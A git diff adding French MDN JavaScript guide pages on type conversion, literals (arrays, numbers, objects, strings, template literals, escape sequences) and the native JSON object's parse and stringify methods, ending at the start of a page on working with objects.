+<p>Bien que cette description couvre peu de types de données, ceux-ci vous permettent d'implémenter une grande variété de fonctions au sein de vos applications. <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object">Les objets</a> et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function">les fonctions</a> sont parmi les briques fondamentales du langage. On peut considérer, à première vue, les objets comme des conteneurs de valeurs et de fonctions pour une application.</p>
+
+<h3 id="Conversion_de_types_de_données">Conversion de types de données</h3>
+
+<p>JavaScript est un langage à typage dynamique. Cela signifie qu'il n'est pas nécessaire de spécifier le type de données d'une variable lors de sa déclaration. Les types de données sont convertis automatiquement durant l'exécution du script. Ainsi, il est possible de définir une variable de cette façon :</p>
+
+<div>
+<pre class="brush: js">var réponse = 42;
+</pre>
+</div>
+
+<p>Et plus tard, d'affecter une chaîne de caractères à cette même variable :</p>
+
+<div>
+<pre class="brush: js">réponse = "Merci pour le dîner...";
+</pre>
+</div>
+
+<p>JavaScript utilisant un typage dynamique, cette dernière instruction ne renverra pas d'erreur.</p>
+
+<p>Lorsque des expressions impliquent des chaînes de caractères et des valeurs numériques ainsi que l'opérateur +, JavaScript convertit les nombres en chaînes de caractères :</p>
+
+<pre class="brush: js">x = "La réponse est " + 42; // "La réponse est 42"
+y = 42 + " est la réponse"; // "42 est la réponse"
+</pre>
+
+<p>Avec des instructions impliquant d'autres opérateurs, JavaScript ne convertit pas nécessairement les valeurs numériques en chaînes de caractères. Ainsi, on aura :</p>
+
+<pre class="brush: js">"37" - 7; // 30
+"37" + 7; // "377"
+</pre>
+
+<h3 id="Conversion_de_chaînes_de_caractères_en_nombres">Conversion de chaînes de caractères en nombres</h3>
+
+<p>Si un nombre est représenté en mémoire par une chaîne de caractères, il y a des méthodes pour effectuer la bonne conversion :</p>
+
+<ul>
+ <li id="parseInt()_and_parseFloat()">{{jsxref("Objets_globaux/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code> renverra uniquement des nombres entiers, étant ainsi inappropriée pour la manipulation de nombre décimaux. Une bonne pratique pour cette fonction est de toujours inclure l'argument qui indique dans quelle base numérique le résultat doit être renvoyé (base 2, base 10...).</p>
+
+<pre class="brush: js">parseInt("101", 2); // 5</pre>
+
+<h4 id="L'opérateur_unaire">L'opérateur + unaire</h4>
+
+<p>Une autre méthode pour récupérer un nombre à partir d'une chaîne de caractères consiste à utiliser l'opérateur +.</p>
+
+<pre class="brush: js">"1.1" + "1.1" = "1.11.1"
++"1.1" = 1.1 // fonctionne seulement avec le + unaire
+</pre>
+
+<h2 id="Littéraux">Littéraux</h2>
+
+<p>Les littéraux sont utilisés pour représenter des valeurs en JavaScript. Ce sont des valeurs fixes, pas des variables, qui sont fournies <em>littéralement</em> au script. Cette section décrit les différents types de littéraux :</p>
+
+<ul>
+ <li><a href="#littéraux tableaux">Littéraux de tableaux</a></li>
+ <li><a href="#littéraux booléens">Littéraux booléens</a></li>
+ <li><a href="#littéraux décimaux">Littéraux de nombres flottants</a></li>
+ <li><a href="#littéraux numériques">Littéraux numériques</a></li>
+ <li><a href="#littéraux objets">Littéraux d'objets</a></li>
+ <li><a href="#regexp">Littéraux d'expressions rationnelles</a></li>
+ <li><a href="#littéraux chaînes">Littéraux de chaînes de caractères</a></li>
+</ul>
+
+<h3 id="Les_littéraux_de_tableaux"><a name="littéraux tableaux">Les littéraux de tableaux</a></h3>
+
+<p>Un littéral de tableau est une liste de zéro ou plusieurs expressions, dont chacune représente l'élément d'un tableau, encadrées par des crochets (<code>[]</code>). Lorsqu'un tableau est créé à partir d'un littéral, il est initialisé avec les valeurs spécifiées qui sont ses éléments, sa longueur correspondant au nombre d'arguments donnés.</p>
+
+<p>L'exemple suivant crée ainsi le tableau <code>cafés</code> avec trois éléments et une taille égale à 3 :</p>
+
+<pre class="brush: js">var cafés = ["Brésilien", "Colombien", "Kona"];
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Un littéral de tableau est du type d'un initialisateur d'objets. Voir <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Initialisateur_objet">l'utilisation d'initialisateurs d'objets</a>.</p>
+</div>
+
+<p>Si un tableau est créé en utilisant un littéral dans un script du plus haut niveau, JavaScript interprète le tableau chaque fois qu'il évalue l'expression contenant le littéral. De plus, un littéral utilisé dans une fonction est créé chaque fois que la fonction est appelée.</p>
+
+<p>Les littéraux de tableaux sont également des objets <code>Array</code>. Voir la page sur l'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array">Array</a></code> pour plus de détails.</p>
+
+<h4 id="Les_virgules_supplémentaires">Les virgules supplémentaires</h4>
+
+<p>Il n'est pas nécessaire de définir tous les éléments dans un littéral de tableau. Si vous utilisez deux virgules, l'une à la suite de l'autre, le tableau utilisera la valeur <code>undefined</code> pour les éléments non définis. L'exemple qui suit utilise le tableau poisson :</p>
+
+<pre class="brush: js">var poisson = ["Clown", , "Chat"];
+</pre>
+
+<p>Ce tableau possède deux éléments ayant une valeur et un élément vide (<code>poisson[0]</code> vaut "Clown", <code>poisson[1]</code> vaut <code>undefined</code>, et <code>poisson[2]</code> vaut "Chat").</p>
+
+<p>Si une virgule est ajoutée à la fin de la liste des éléments, elle est ignorée. Dans le prochain exemple, la longueur du tableau est égale à 3. Il n'y a pas d'élément <code>maListe[3]</code>. Les autres virgules indiquent un nouvel élément.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Avec d'anciennes versions de navigateurs, les virgules de fin peuvent causer des erreurs, il est fortement conseillé de les retirer.</p>
+</div>
+
+<pre class="brush: js">var maListe = ['maison', , 'école', ];
+</pre>
+
+<p>Dans l'exemple qui suit, la longueur du tableau est égale à 4 et <code>maListe[0]</code> et <code>maListe[2]</code> sont manquants.</p>
+
+<pre class="brush: js">var maListe = [ , 'maison', , 'école'];
+</pre>
+
+<p>Dans l'exemple qui suit, la longueur du tableau est égale à 4 et <code>maListe[1]</code> et <code>maListe[3]</code> sont manquants.</p>
+
+<pre class="brush: js">var maListe = ['maison', , 'école', , ];
+</pre>
+
+<p>Comprendre le fonctionnement des virgules supplémentaires est important. Cependant, lorsque vous écrivez du code, veillez, dès que c'est possible, à déclarer les éléments manquants avec <code>undefined</code> : cela améliorera la lisibilité de votre code et il sera ainsi plus facile à maintenir.</p>
+
+<h3 id="Les_littéraux_booléens"><a name="littéraux booléens">Les littéraux booléens</a></h3>
+
+<p>Le type booléen possède deux valeurs littérales : <code>true</code> et <code>false</code>.</p>
+
+<p>Il ne faut pas confondre les valeurs <code>true</code> et <code>false</code> du type primitif booléen et les valeurs true et false de l'objet <code>Boolean</code>. L'objet <code>Boolean</code> permet de créer un objet autour du type de donnée booléen. Voir la page sur l'objet<a href="/fr/docs/JavaScript/Reference/Objets_globaux/Boolean"> <code>Boolean</code></a> pour plus d'informations.</p>
+
+<h3 id="Les_littéraux_numériques"><a id="littéraux numériques" name="littéraux numériques">Les littéraux numériques</a></h3>
+
+<p>Les nombres {{jsxref("Number")}} et les grands entiers {{jsxref("BigInt")}} peuvent être exprimés en notation décimale (base 10), hexadécimale (base 16), octale (base 8) et binaire (base 2).</p>
+
+<ul>
+ <li>Les littéraux représentant des entiers décimaux sont une suite de chiffres qui ne commence pas par un 0 (zéro)</li>
+ <li>Un 0 (zéro) en préfixe indique que le littéral est en notation octale. Ces nombres ne peuvent être composés que des chiffres de 0 (zéro) à 7 (sept).</li>
+ <li>Un préfixe 0x (ou 0X) indique une notation hexadécimale. Les nombres hexadécimaux peuvent être composés de chiffres (0-9) et des lettres A à F (minuscules et majuscules) (la casse d'un caractère ne modifie pas sa valeur : <code>0xa = 0xA = 10</code> et <code>0xf = 0xF = 15</code>).</li>
+ <li>Un préfixe 0b (ou 0B) indique une notation binaire. Les nombres binaires peuvent être composés de 0 ou de 1 uniquement.</li>
+</ul>
+
+<p>Voici des exemples pour ces littéraux :</p>
+
+<pre class="eval">0, 117, -345, 123456789123456789n (notation décimale, base 10)
+015, 0001, -077, 0o7777777777777n (notation octale, base 8)
+0x1123, 0x00111, -0xF1A7, 0x123456789ABCDEFn (notation hexadécimale, base 16)
+0b11, 0B0011, -0b11, 0b11101001010101010101n (notation binaire, base 2)
+</pre>
+
+<p>Pour plus d'informations, voir <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Littéraux_numériques">les littéraux numériques dans la grammaire lexicale de JavaScript</a>.</p>
+
+<h3 id="Les_littéraux_de_nombres_décimaux"><a name="littéraux décimaux">Les littéraux de nombres décimaux</a></h3>
+
+<p>Un littéral de nombre décimal peut être composé de ces différentes parties :</p>
+
+<ul>
+ <li>Un entier, pouvant être signé (précédé d'un « + » ou d'un « - »),</li>
+ <li>Un point, séparateur décimal (« . »),</li>
+ <li>La partie décimale (un autre nombre)</li>
+ <li>Un exposant.</li>
+</ul>
+
+<p>L'exposant est la partie du nombre décimal commençant par un « e » ou un « E », suivie d'un entier pouvant être signé (précédé d'un « + » ou d'un « - »). Un littéral de nombre décimal doit comporter au moins un chiffre et soit un point (séparateur décimal) soit un « e » ou un « E ».</p>
+
+<p>Des exemples sont : 3.1415, -3.1E12, .1e12, et 2E-12.</p>
+
+<p>On peut raccourcir cette syntaxe en :</p>
+
+<pre class="eval">[(+|-)][chiffres].[chiffres][(E|e)[(+|-)]chiffres]
+</pre>
+
+<p>Par exemple :</p>
+
+<pre class="eval">3.14
+2345.789
+.3333333333333333333
+</pre>
+
+<h3 id="Les_littéraux_d'objets"><a name="littéraux objets">Les littéraux d'objets</a></h3>
+
+<p>Un littéral d'objet - ou 'objet littéral' - est une liste de zéro ou plusieurs propriétés définies par des paires de noms/valeurs. Ces paires sont délimitées par des accolades (<code>{}</code>). N'utilisez pas un tel littéral en début d'instruction. En effet, l'accolade ouvrante sera mal interprétée (début de bloc) et causera une erreur ou un comportement incohérent.</p>
+
+<p>L'exemple qui suit montre l'utilisation d'un littéral d'objet. Le premier élément de l'objet <code>voiture</code> définit une propriété <code>maVoiture</code>, le deuxième élément : la propriété <code>getVoiture</code> invoque une fonction <code>(carTypes("Honda")),</code> le troisième élément, la propriété <code>special</code> utilise une variable existante (<code>soldes</code>).</p>
+
+<pre class="brush: js">var soldes = "Toyota";
+
+function carTypes(nom) {
+  return (nom === "Honda") ?
+    nom :
+    "Désolé, nous ne vendons pas de " + nom + "." ;
+}
+
+var voiture = { maVoiture: "Saturn", getVoiture: carTypes("Honda"), spécial: soldes };
+
+console.log(voiture.maVoiture);   // Saturn
+console.log(voiture.getVoiture);  // Honda
+console.log(voiture.spécial); // Toyota
+</pre>
+
+<p>Il est également possible d'utiliser un littéral numérique ou un littéral de chaîne de caractères pour désigner le nom d'une propriété ou pour imbriquer un objet dans un autre. L'exemple qui suit illustre cette possibilité :</p>
+
+<pre class="brush: js">var voiture = { plusieursVoitures: {a: "Saab", b: "Jeep"}, 7: "Mazda" };
+
+console.log(voiture.plusieursVoitures.b); // Jeep
+console.log(voiture[7]); // Mazda
+</pre>
+
+<p>Les noms des propriétés d'objets peuvent être n'importe quelle chaîne de caractères, y compris la chaîne vide. Si le nom de la propriété n'est pas un <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Variables">identifiant</a> valide, il faudra qu'il soit placé entre guillemets. Les noms de propriétés qui ne sont pas des identifiants valides ne peuvent pas être utilisés pour accéder à la valeur en utilisant la notation pointée (objet.propriété). En revanche, il est possible d'y accéder avec la notation utilisant les crochets ("<code>[]</code>") comme pour les tableaux.</p>
+
+<pre class="brush: js">var nomsBizarres = {
+  "": "Chaîne vide",
+  "!": "Bang !"
+}
+console.log(nomsBizarres."");   // SyntaxError: Unexpected string
+console.log(nomsBizarres[""]);  // Chaîne vide
+console.log(nomsBizarres.!);    // SyntaxError: Unexpected token !
+console.log(nomsBizarres["!"]); // Bang !
+
+</pre>
+
+<h4 id="Augmentation_des_littéraux_d'objets_avec_ES2015ES6">Augmentation des littéraux d'objets avec ES2015/ES6</h4>
+
+<p>Avec ES2015, les littéraux d'objets permettent de définir le prototype lors de la construction de l'objet, permettent d'utiliser les affectations en notation raccourcie : <code>toto: toto</code>, de définir des méthodes, d'appeler les méthodes de l'objet parent avec <code>super</code> et d'utiliser des noms de propriétés calculées.</p>
+
+<pre class="brush: js">var obj = {
+    // __proto__
+    __proto__: lePrototypeDeLObjet,
+    // Notation raccourcie pour ‘handler: handler’
+    handler,
+    // Méthodes
+    toString() {
+     // Appelle les méthodes de l'objet parent
+     return "d " + super.toString();
+    },
+    // Noms de propriétés calculés dynamiquement
+    [ 'prop_' + (() =&gt; 42)() ]: 42
+};</pre>
+
+<p>Attention :</p>
+
+<pre class="brush: js">var toto = {a: "alpha", 2: "deux"};
+console.log(toto.a);    // alpha
+console.log(toto[2]);   // deux
+//console.log(toto.2);  // Erreur: parenthèse ) manquante après la liste d'argument
+//console.log(toto[a]); // Erreur: a n'est pas défini
+console.log(toto["a"]); // alpha
+console.log(toto["2"]); // deux
+</pre>
+
+<h3 id="Les_littéraux_d'expressions_rationnelles"><a id="regexp" name="regexp">Les littéraux d'expressions rationnelles</a></h3>
+
+<p>Un littéral d'<a href="/fr/docs/Web/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res">expression rationnelle</a> est un motif encadré par deux barres obliques. Par exemple :</p>
+
+<pre class="brush: js">var re = /ab+c/;</pre>
+
+<h3 id="Les_littéraux_de_chaînes_de_caractères"><a name="littéraux chaînes">Les littéraux de chaînes de caractères</a></h3>
+
+<p>Un littéral de chaîne de caractères consiste en zéro ou plusieurs caractères encadrés par des guillemets droits doubles (<code>"</code>) ou des guillemets droits simples (<code>'</code>). Une chaîne de caractères doit être encadrée par des symboles du même type (guillemets droits doubles ou guillemets droits simples) :</p>
+
+<ul>
+ <li><code>"toto"</code></li>
+ <li><code>'truc'</code></li>
+ <li><code>"1234"</code></li>
+ <li><code>"Une ligne \n une autre ligne"</code></li>
+ <li><code>"Aujourd'hui j'ai mangé une pomme"</code></li>
+</ul>
+
+<p>Il est possible d'utiliser les méthodes de <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String"><code>String</code></a> sur un tel littéral. JavaScript convertira automatiquement le littéral en un objet <code>String</code>, appellera la méthode puis détruira l'objet <code>String</code>. On peut également utiliser la propriété <code>String.length</code> sur un littéral de chaîne de caractère :</p>
+
+<pre class="brush: js">console.log("j'ai mangé une pomme".length)
+// Affichera le nombre de caractères (y compris les blancs).
+// Dans ce cas, 20.
+</pre>
+
+<p>Il est préférable d'utiliser des littéraux de chaînes de caractères s'il n'est pas spécifiquement nécessaire d'utiliser un objet <code>String</code>. Voir la page sur l'objet <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String"><code>String</code></a> pour plus de détails sur les objets <code>String</code>.</p>
+
+<p>Avec ECMAScript 2015, on peut également utiliser des littéraux sous forme de <em>gabarits</em> (<em>templates</em>) en utilisant le caractère accent grave (`) comme séparateur. Les gabarits de chaînes de caractères sont semblables aux fonctionnalités d'interpolation existantes en Python, Perl, etc. Ces gabarits permettent d'utiliser des balises afin d'adapter la construction de chaînes.</p>
+
+<pre class="brush: js">// Littéral simple pour une chaîne
+`Un saut de ligne '\n' en JavaScript.`
+
+// On peut écrire une chaîne sur plusieurs
+// lignes
+`Dans les gabarits, on peut écrire
+  sur plusieurs lignes. `
+
+// Interpolation de chaîne
+var nom = "Robert", jour = "aujourd'hui";
+`Bonjour ${nom}, comment allez-vous ${jour} ?`
+
+// On peut construire un préfixe HTTP
+// afin de construire plus facilement
+// des requêtes via des substitutions
+POST`http://toto.org/truc?a=${a}&amp;b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "toto": ${toto},
+       "truc": ${truc}}`(myOnReadyStateChangeHandler);</pre>
+
+<h4 id="Utilisation_des_caractères_spéciaux">Utilisation des caractères spéciaux</h4>
+
+<p>En plus des caractères « classiques », il est possible d'insérer des caractères spéciaux dans les chaînes de caractères. Voici un exemple :</p>
+
+<pre class="brush: js">"une ligne \n une autre ligne"
+</pre>
+
+<p>Voici un tableau listant les caractères spéciaux qu'il est possible d'utiliser dans les chaînes de caractères JavaScript :</p>
+
+<table class="standard-table">
+ <caption>Caractères spéciaux en JavaScript</caption>
+ <thead>
+  <tr>
+   <th scope="col">Caractère</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Octet null</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>Retour arrière</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Saut de page</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Nouvelle ligne</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Retour chariot</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Tabulation</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Tabulation verticale</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Apostrophe ou guillemet droit simple</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>Guillemet droit double</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>Barre oblique inversée</td>
+  </tr>
+  <tr>
+   <td><code>\<em>XXX</em></code></td>
+   <td>Le caractère dont l'encodage Latin-1 est spécifié grâce à, au plus, 3 chiffres octaux<em> XXX</em> entre 0 et 377. \251, par exemple représente le caractère copyright.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\x<em>XX</em></code></td>
+   <td>Le caractère dont l'encodage Latin-1 est spécifié par deux chiffres hexadécimaux entre 00 et FF. Ainsi, \xA9 correspond à la séquence hexadécimale pour le caractère copyright.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\u<em>XXXX</em></code></td>
+   <td>Le caractère Unicode spécifié par quatre chiffres hexadécimaux <em>XXXX</em>. Ainsi, \u00A9 correspondra à la séquence Unicode du symbole copyright. Voir {{anch("Unicode escape sequences")}}.</td>
+  </tr>
+  <tr>
+   <td><code>\u{<em>XXXXX}</em></code></td>
+   <td>Échappement de codes Unicode. Par exemple, \u{2F804} est équivalent à la combinaison d'échappements « simples » \uD87E\uDC04.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Les_caractères_d'échappement"><a id="Les caractères d'échappement" name="Les caractères d'échappement"></a>Les caractères d'échappement</h4>
+
+<p>Pour les caractères qui ne font pas partie du tableau précédent, les barres obliques inversées (<em>backslash</em>) les précédant sont ignorées. Cependant, cet usage est obsolète et devrait être évité.</p>
+
+<p>En précédant d'une barre oblique inversée les guillemets droits doubles, on <em>échappe </em>ces caractères. Voici un exemple :</p>
+
+<pre class="brush: js">var citation = "Il lit \"Bug Jargal\" de V. Hugo.";
+console.log(citation);
+</pre>
+
+<p>Le résultat serait alors</p>
+
+<pre class="eval">Il lit "Bug Jargal" de V. Hugo.</pre>
+
+<p>Pour inclure une barre oblique inversée dans une chaîne de caractères, il faut aussi l'échapper. Par exemple, pour stocker le chemin <code>c:\temp</code> dans une chaîne de caractères, on utilisera le code suivant :</p>
+
+<pre class="brush: js">var chemin = "c:\\temp";
+</pre>
+
+<p>Il est également possible d'échapper des sauts de lignes de la même façon. La barre oblique inversée et le saut de ligne seront alors ignorés dans la valeur de la chaîne de caractères.</p>
+
+<pre class="brush: js">var str = "cette chaîne \
+est cassée \
+sur plusieurs \
+lignes."
+console.log(str);   // cette chaîne est cassée sur plusieurs lignes.
+</pre>
+
+<p>Avant ECMAScript 2015 (ES6), JavaScript ne disposait pas d'une syntaxe permettant de traiter les chaînes de caractères comme des contenus de fichier, il est possible d'ajouter un caractère de saut de ligne échappé et un saut de ligne en fin de ligne en utilisant cette façon :</p>
+
+<pre class="brush: js">var poème =
+"Les roses sont rouges,\n\
+Les violettes sont bleues.\n\
+Le miel est sucré,\n\
+Et moi je suis."
+</pre>
+
+<p>Grâce à ES6, on peut utiliser des <a href="https://tech.mozfr.org/post/2015/05/27/ES6-en-details-%3A-les-gabarits-de-chaines-de-caracteres">littéraux de gabarits qui offrent de nouvelles fonctionnalités</a> dont une qui permet d'avoir des chaînes de caractères écrites sur plusieurs lignes :</p>
+
+<pre class="brush: js">var poème =
+`Les roses sont rouges,
+Les violettes sont bleues,
+Le miel est sucré,
+Et moi je suis.`</pre>
+
+<h2 id="En_savoir_plus">En savoir plus</h2>
+
+<p>Ce chapitre est centré sur les bases de la syntaxe, les déclarations et les types utilisés en JavaScript. Pour en savoir plus sur les différents composants du langage, voir les chapitres suivants du guide:</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs">Contrôle du flux et gestion des erreurs</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Boucles_et_itération">Boucles et itération</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Fonctions</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs">Expressions et opérateurs</a></li>
+</ul>
+
+<p>Dans le chapitre suivant, on abordera les structures conditionnelles, permettant de diriger le flux d'instructions et la gestion des erreurs.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs")}}</p>
diff --git a/files/fr/web/javascript/guide/utiliser_le_json_natif/index.html b/files/fr/web/javascript/guide/utiliser_le_json_natif/index.html
new file mode 100644
index 0000000000..d8037999b8
--- /dev/null
+++ b/files/fr/web/javascript/guide/utiliser_le_json_natif/index.html
@@ -0,0 +1,99 @@
+---
+title: Utiliser le JSON natif
+slug: Web/JavaScript/Guide/Utiliser_le_JSON_natif
+tags:
+  - Add-ons
+  - Advanced
+  - ECMAScript5
+  - Extensions
+  - JSON
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Cet article aborde l'objet JSON natif conforme à ECMAScript 5 qui a été ajouté à Gecko 1.9.1. Pour consulter les informations de base sur l'utilisation de JSON dans les versions précédentes de Firefox, consulter la page <a class="internal" href="/fr/docs/JSON" title="En/JSON">JSON</a>.</p>
+
+<p>L'objet natif JSON possède deux méthodes clés. La méthode <code>JSON.parse()</code> qui analyse une chaîne de caractères JSON et qui reconstruit l'objet JavaScript original. La méthode <code>JSON.stringify()</code>, quant à elle, accepte un objet JavaScript et renvoie son équivalent JSON.</p>
+
+<div class="note"><strong>Note :</strong> JSON ne supporte pas les structures cycliques. Toute tentative de conversion d'une telle structure renverra une exception <code>TypeError</code>.</div>
+
+<h2 id="Analyser_(parser)_les_chaînes_JSON">Analyser (<em>parser</em>) les chaînes JSON</h2>
+
+<p>Afin de convertir une chaîne JSON en un objet JavaScript, il suffit de passer une chaîne JSON à la méthode <code>JSON.parse()</code> :</p>
+
+<pre>var objetJS = JSON.parse(chaineJSON);</pre>
+
+<div class="note">
+<p>À partir de JavaScript 1.8.5 (Firefox 4), <code>JSON.parse()</code> n'accepte pas les virgules en fin de chaîne</p>
+</div>
+
+<pre>// ces deux instructions renverront une exception<code> SyntaxError</code>
+// à partir de JavaScript 1.8.5
+var objetJS = JSON.parse("[1, 2, 3, 4, ]");
+var objetJS = JSON.parse("{ \"toto\" : 1, }");
+</pre>
+
+<h2 id="Convertir_les_objets_en_JSON">Convertir les objets en JSON</h2>
+
+<p>Afin de convertir un objet JavaScript en une chaîne JSON, il suffit de passer l'objet à la méthode <code>JSON.stringify()</code> :</p>
+
+<pre class="brush: js">var toto = {};
+toto.truc = "nouvelle propriété";
+toto.machin = 3;
+
+var chaineJSON = JSON.stringify(toto);
+</pre>
+
+<p><code>chaineJSON</code> contient désormais <code>'{"truc":"nouvelle propriété","machin":3}'</code>.</p>
+
+<p>Depuis Firefox 3.5.4, <code>JSON.stringify()</code> permet d'adapter la conversion grâce à des paramètres optionnels. La syntaxe est la suivante :</p>
+
+<p><code>chaineJSON = JSON.stringify(<em>valeur</em> [, <em>remplacement</em> [, <em>espace</em>]])</code>remplacement</p>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>L'objet JavaScript à convertir en une chaîne JSON.</dd>
+ <dt><code>remplacement</code></dt>
+ <dd>Une fonction qui modifie le comportement de la conversion ou bien un tableau d<code>'objets </code><a href="/fr/docs/JavaScript/Guide/Objets_élémentaires_JavaScript#L'objet_String" title="/fr/docs/JavaScript/Guide/Objets_élémentaires_JavaScript#L'objet_String"><code>String</code></a> et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number"><code>Number</code></a> qui sera utilisé comme une liste de propriétés de l'objet <code>valeur</code> à inclure dans la chaîne JSON. Si cette valeur est nulle ou n'est pas fournie, toutes les propriétés de l'objet seront inclues dans la chaîne résultante.</dd>
+ <dt><code>espace</code></dt>
+ <dd>Un objet <code><a href="/fr/docs/JavaScript/Guide/Objets_élémentaires_JavaScript#L'objet_String"><code>String</code></a></code> ou <a href="/fr/docs/JavaScript/Référence_JavaScript/Objets_globaux/Number" title="/fr/docs/JavaScript/Référence_JavaScript/Objets_globaux/Number"><code>Number</code></a> utilisé pour insérer des espaces dans la chaîne JSON afin qu'elle soit plus lisible. Si c'est un objet <code>Number</code>, il indique le nombre d'espaces à insérer. Ce nombre est limité à 10. Les valeurs inférieures à 1 indiquent qu'aucun espace ne sera utilisé, les valeurs supérieures à 10 seront ramenées à 10. Si cet objet est une <code>String</code>, la chaîne de caractères (ou les 10 premiers caractères si la chaîne est plus longue) à utiliser comme blanc. Si ce paramètre n'est pas fourni (ou vaut <code>null</code>), aucun blanc ne sera utilisé.</dd>
+</dl>
+
+<h3 id="Le_paramètre_de_remplacement">Le paramètre de remplacement</h3>
+
+<p>La paramètre <code>remplacement</code> peut être une fonction ou un tableau. Si c'est une fonction, elle prendra deux paramètres : la clé et la valeur à être convertie en chaîne de caractères. L'objet pour lequel la clé a été trouvée sera fourni comme paramètre <code>this</code> de la fonction de remplacement. Initialement elle est appelée avec une clé vide représentant l'objet à transformer en chaîne et est ensuite appelé pour chacune des propriétés de l'objet ou du tableau à convertir. Elle doit renvoyer la valeur à ajouter à la chaîne de caractère JSON comme suit :</p>
+
+<ul>
+ <li>Si on renvoie un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number"><code>Number</code></a>, la chaîne correspondante à ce nombre est utilisée pour la valeur de la propriété de à ajouter à la chaîne JSON.</li>
+ <li>Si on renvoie une <a href="/fr/docs/JavaScript/Guide/Objets_élémentaires_JavaScript#L'objet_String" title="/fr/docs/JavaScript/Guide/Objets_élémentaires_JavaScript#L'objet_String"><code>String</code></a>, cette chaîne est utilisée comme la valeur de la propriété à ajouter à la chaîne JSON.</li>
+ <li>Si on renvoie un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Boolean"><code>Boolean</code></a>, "true" ou "false" est utilisé comme la valeur de la propriété à ajouter à la chaîne JSON.</li>
+ <li>Si on renvoie n'importe quel autre objet, il est alors transformé en chaîne JSON de façon récursive en appelant la même fonction de remplacement sur chacune de ses propriétés sauf si l'objet est une fonction, auquel cas on n'ajoute rien à la chaîne JSON.</li>
+ <li>Si la valeur de retour est <code>undefined</code>, la propriété n'est pas incluse dans la chaîne résultante.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Il est impossible d'utiliser la fonction de remplacement pour retirer des valeurs d'un tableau. Si la valeur <code>undefined</code> ou une fonction est renvoyée  : <code>null</code> sera renvoyé.</div>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: js">function censure(key, value) {
+  if (typeof value === "string") {
+    return undefined;
+  }
+  return value;
+}
+
+var toto = {fondation: "Mozilla", modèle: "box", semaine: 45, transport: "voiture", mois: 7};
+var chaineJSON = JSON.stringify(toto, censure);
+</pre>
+
+<p>La chaîne JSON produite sera <code>{"semaine":45,"mois":7}</code>.</p>
+
+<p>Si <code>remplacement</code> est un tableau, les valeurs du tableau indiquent les noms des propriétés de l'objet à inclure dans la chaîne JSON.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/docs/Web/JavaScript/New_in_JavaScript/Support_ECMAScript_5_par_Mozilla">Support d'ECMAScript 5 par Mozilla</a></li>
+ <li><a class="internal" href="/fr/docs/JSON" title="/fr/docs/JSON">JSON</a></li>
+</ul>
diff --git a/files/fr/web/javascript/guide/utiliser_les_objets/index.html b/files/fr/web/javascript/guide/utiliser_les_objets/index.html
new file mode 100644
index 0000000000..3879fd0b58
--- /dev/null
+++ b/files/fr/web/javascript/guide/utiliser_les_objets/index.html
@@ -0,0 +1,474 @@
+---
+title: Utiliser les objets
+slug: Web/JavaScript/Guide/Utiliser_les_objets
+tags:
+  - Débutant
+  - Guide
+  - JavaScript
+  - Object
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Collections_avec_clés", "Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails")}}</div>
+
+<p class="summary">JavaScript est conçu autour d'un paradigme simple, basé sur les objets. Un objet est un ensemble de propriétés et une propriété est une association entre un nom (aussi appelé <em>clé</em>) et une valeur. La valeur d'une propriété peut être une fonction, auquel cas la propriété peut être appelée « méthode ». En plus des objets natifs fournis par l'environnement, il est possible de construire ses propres objets. Ce chapitre aborde la manipulation d'objets, l'utilisation des propriétés, fonctions et méthodes, il explique également comment créer ses objets.</p>
+
